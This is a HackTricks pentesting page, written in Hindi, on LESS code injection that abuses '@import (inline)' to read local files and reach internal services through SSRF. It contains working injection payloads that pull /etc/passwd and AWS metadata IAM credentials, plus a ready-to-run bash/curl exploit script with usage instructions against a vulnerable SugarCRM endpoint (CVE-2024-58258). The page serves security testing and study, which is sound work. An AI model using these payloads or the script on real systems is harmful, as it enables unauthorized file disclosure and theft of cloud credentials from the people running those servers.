LESS Code Injection के परिणामस्वरूप SSRF & Local File Read
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। कंपाइलेशन के दौरान LESS engine @import में संदर्भित resources को fetch करेगा और जब (inline) विकल्प उपयोग किया जाता है तो उनके contents को resulting CSS में embed (“inline”) कर देगा।
जब कोई application user-controlled input को उस string में जोड़ता है जिसे बाद में LESS compiler द्वारा पार्स किया जाता है, तो एक attacker arbitrary LESS code inject कर सकता है। @import (inline) का दुरुपयोग करके attacker सर्वर को निम्न retrieve करने के लिए मजबूर कर सकता है:
- Local files via the
file://protocol (information disclosure / Local File Inclusion). - Remote resources on internal networks or cloud metadata services (SSRF).
यह technique वास्तविक दुनिया के उत्पादों में देखी जा चुकी है, जैसे SugarCRM ≤ 14.0.0 (/rest/v10/css/preview endpoint).
शोषण
- उस parameter की पहचान करें जो सीधे एक stylesheet string में embedded है और जिसे LESS engine द्वारा प्रोसेस किया जाता है (उदा.
?lm=in SugarCRM)। - वर्तमान statement को close करें और नए directives inject करें। सबसे सामान्य primitives हैं:
;– पिछले declaration को terminate करता है।}– पिछले block को close करता है (यदि आवश्यक हो)।
- Arbitrary resources पढ़ने के लिए
@import (inline) '<URL>';का उपयोग करें। - वैकल्पिक रूप से import के बाद fetched content को compiled CSS से निकालना आसान बनाने के लिए एक marker (
data:URI) inject करें।
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
/etc/passwd की सामग्री HTTP response में @@END@@ मार्कर से ठीक पहले दिखाई देगी।
SSRF – Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
स्वचालित PoC (SugarCRM उदाहरण)
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
वास्तविक दुनिया के मामले
| उत्पाद | कमज़ोर Endpoint | प्रभाव |
|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= | अनप्रमाणित SSRF और स्थानीय फ़ाइल पढ़ना |
संदर्भ
- SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability
- SugarCRM Security Advisory SA-2024-059
- CVE-2024-58258
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

